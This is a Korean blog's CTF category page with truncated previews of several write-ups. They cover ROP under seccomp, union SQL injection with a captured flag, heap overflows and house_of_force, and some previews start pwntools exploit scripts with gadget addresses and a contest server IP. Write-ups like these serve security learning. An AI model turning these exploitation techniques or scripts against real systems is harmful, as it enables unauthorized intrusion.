목록CTF (20)
hOwDayS 선린 10720
보호되어 있는 글입니다.
소개 AEG 처음으로 해봣다 ㄸ 보호 기법 RELRO Partial RELRO Stack CanaryNo Canary Found NX NX enabled PIENO PIE 분석 nc로 들어가게 되면 바이너리를 base64로 인코딩 해서 준다. 몇번 실행하다보면 조금씩 다른 걸 볼 수 있다. seccomp 필터를 걸어서 기존방식대로 ROP를 할 수 없다. seccomp-tools로 덤프한 결과이다 Leak 필요없다 Exploit 우리가 ROP를 하기 위해선 가젯 주소와 버퍼의 크기를 알아야되는데 랜덤이라서 자동화 코드를 짜야 된다. objdump와 ROPgadget을 이용했다. 1. read로 /flag 를 bss에 넣는다 2. open으로 연다 3. write로 출력 Exploit Code 1234567..
웹 재밋다... GET으로 받는 t 파라미터에서 Notice , Cafeteria, Home Announcement 를 넣는다아무거나 넣어 봤는데 sql오류뜸 -> Sql injection Angle? union sql injection으로 두개를 불러왓다 information_schema에서 테이블 , 컬럼을 가져왔다 FLAG{g00d_j0b~1_4m_g0nna_h5ve_a_1itt1e_bre4k}
소개 뭐랄까 재미있는 문제이다 보호 기법 RELRO Partial RELRO Stack Canary Canary Found NXNX Enabled PIENO 분석 main 1. memo add2. memo edit3. memo delete add memo의 사이즈는 32 이며 malloc으로 할당한다 A , B , C가 모두 되어있으면어떤 루틴을 실행한다. 참고적으로 heap 주소랑 스택주소 알려주는데 난 안 써먹었다. Vuln : Scanf("%s")로 입력 받기 때문에 힙 오버플로우가 일어난다. edit 메모 인덱스 받아서 있는지 체크한다음에 입력을 받는다Vuln : gets로 입력받기 때문에 힙 오버플로우 delete 여기서 이 문제가 재미있다고 느꼈다.delete에서는 free를 시키는게 아닌 힙..
소개 오랜만에 힙문제를 풀고 writeup를 써본다 1byte overflow문제이다간단하다 보호 기법 RELRO Partial RELROStack Canary No Canary Found NXNX enabled PIE NO PIE 분석 Add Note , Delete Note , Show Note Vulnerability a1 = src , a2 = length인데 입력을 받을때 for문에서 i < a2 가아닌 i
예선 7등
house_of_force 이용 하장마지막에 /bin/sh exploit.py 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import * p = process("./my_house")#p = remote("49.236.136.140",13000)e = ELF("./my_house") p.recv()p.send("A" * 256)p.recv() def hexdemical_c(c): a = process("./he_x") a.sendline(str(c)) return a.recv(8)#0xfc p.send("%x %x %x")p.r..
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263from pwn import * p = process("./easy_of_the_easy")#p = remote("49.236.136.140",14000)e = ELF("./easy_of_the_easy")pr = 0x080483f9pppr = 0x080489e9bss = 0x0804a040 +100 for i in range(0,200): p.recv() p.sendline("1") p.sendline("1") p.sendline("0") p.sendline("3")p.sendline("18899..
많이 돌려봐야 된다 주소가 0x00 에 배치되길 기다리며 RTJ 를 한다 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104from pwn import *import timeimport sys pppr = 0x080486f9#pppr = 0x8048693pr = 0x08048361main = 0x8048522 context.terminal = ['gnome-terminal','-x','sh','..
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879from pwn import * pop_RSI_R15 = 0x0000000000400a51main_read = 0x40099Emain = 0x400716oneshot = 0x45216 p = process("./cee")e = ELF("./cee") def SETTING(): p.recv() p.sendline("2018-11-15") ## KOREAN ## p.recv() p.sendline("-1") ## ENDLISH ## p.recv(..